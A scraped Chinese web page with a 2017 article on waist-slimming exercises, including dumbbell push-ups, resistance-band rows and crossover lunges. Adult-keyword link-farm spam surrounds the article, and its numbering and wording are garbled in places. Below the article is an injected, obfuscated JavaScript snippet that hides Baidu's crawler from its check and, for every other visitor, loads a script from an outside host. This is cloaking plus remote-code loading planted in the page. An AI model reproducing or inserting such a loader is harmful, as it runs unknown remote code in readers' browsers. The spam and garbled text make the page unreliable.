久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 減肥 > 運動減肥 > 正文

瘦腰部的運動方法是什么?

2017-04-21 15:44:35  來源:360常識網   熱度:
導語:有些人會有一些煩惱,就是腰部比較粗,尤其是穿上一些窄腰的衣物的時候,尤其明顯。破環了美感。有些人會感覺到十分的苦惱。腰部曲線的美一

有些人會有一些煩惱,就是腰部比較粗,尤其是穿上一些窄腰的衣物的時候,尤其明顯。破環了美感。有些人會感覺到十分的苦惱。腰部曲線的美一直是女性追求的的,人魚線的曲線弧度是許多女性都追求的一種。那么應該在呢么做才能受腰部達到人魚線這樣的弧度呢。小編下面就告訴大家幾種方法。

一、伏地挺身青蛙腿(A)預備俯臥撐姿勢,從肩膀道腳踝保持斜直線。(B)右腳往前跨出一步,停到右手旁邊。臀部不要往下塌或者往上抬。迅速收回右腳到原位置,然后左腳做同樣的動作。目的:緊實腰部,鍛煉腰部線條。

二、二、啞鈴伏地挺身手握一對啞鈴,與肩同寬撐在地面上。(A)呈伏地挺身姿勢,腳尖觸地,手臂挺直。(B)彎曲手肘降低身體。(C)回到原來位置時,右手往后拉啞鈴到右胸的位置,保持三秒鐘,然后回到初始位置。用左手重復剛剛的動作。目的:收縮腹部,快速燃燒腹部贅肉脂肪。

三、阻力帶彎腰拉牽兩手握住阻力帶把手,兩腳踩在阻力帶上,雙腳距離與肩同寬。(A)彎曲胯關節降低上半身,背部挺直,雙膝微微彎曲。(B)往上提拉阻力帶直到上腹部,保持三秒鐘然后回到起始位置。目的:提伸腰部肌肉線條。

三、四、靠墻上下滑動頭部,上半身和臀部貼在墻上。(A)把手和胳膊貼在墻上,手肘彎曲90度保持1秒鐘,讓你的胳膊肘,手腕和雙手都壓在墻上,往下滑動你的手肘,收縮肩胛骨,身體往下滑。(B)伸直雙臂,身體往上滑動,雙手不要離開墻壁。目的:挺直腹部,收縮腹部,快速瘦身。

四、五、背后交叉腿弓步(A)抓著一對啞鈴,呈站立姿勢,雙腿距離與肩同寬。(B)右腳往左前踏一步,身體放低,

左腿和右腿的膝蓋至少彎曲90度。(C)保持這個姿勢三秒鐘,然后回到起始姿勢,換左腳重復相同動作。目的:強化腰部兩側贅肉,對燃燒腰部兩側贅肉非常有效果,快速瘦腰。

但是小編建議一些體質不是很好的人要注意有選擇的進行一些運動,有事在做運動之前,需要做好一些惹生的運動以免拉傷火損傷到腰部的肌肉。對于一些上年紀的來說,要注意腰部的護理。以免拉傷或者閃到腰。瘦腰部是一種需要長期堅持的過程。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 国产免费看 | 精品国模一区二区三区欧美 | 国产综合精品一区二区三区 | 亚洲一区日韩 | 国产视频久久 | 久久精品欧美一区二区三区不卡 | 欧美日韩视频 | 久草中文在线观看 | 久久免费视频国产 | 成人在线视频一区二区 | 国产精品不卡视频 | 巨骚综合| 蜜桃免费一区二区三区 | 国产精品视频久久 | 黄色大片视频 | 国产超碰人人模人人爽人人添 | 国产综合一区二区 | 国产成人福利 | 国产精品毛片无码 | 美日韩一区二区三区 | 波多野结衣一二三区 | 欧美激情一区二区三区在线观看 | 国产一区二区三区高清 | 另类免费视频 | 国产精品一线二线在线观看 | 狠狠操夜夜操天天操 | 日韩精品区 | 欧美视频四区 | 91精品国产综合久久精品 | 精品久久久久久久久久久久久久 | 久久久成人精品 | 久久久网 | 国产二区在线播放 | 亚洲综合第一页 | 三级色网站 | av国产精品 | 爱爱视频网站 | 久久国产精品视频观看 | 成人自拍视频 | 亚洲一本| 国产日韩欧美一区 |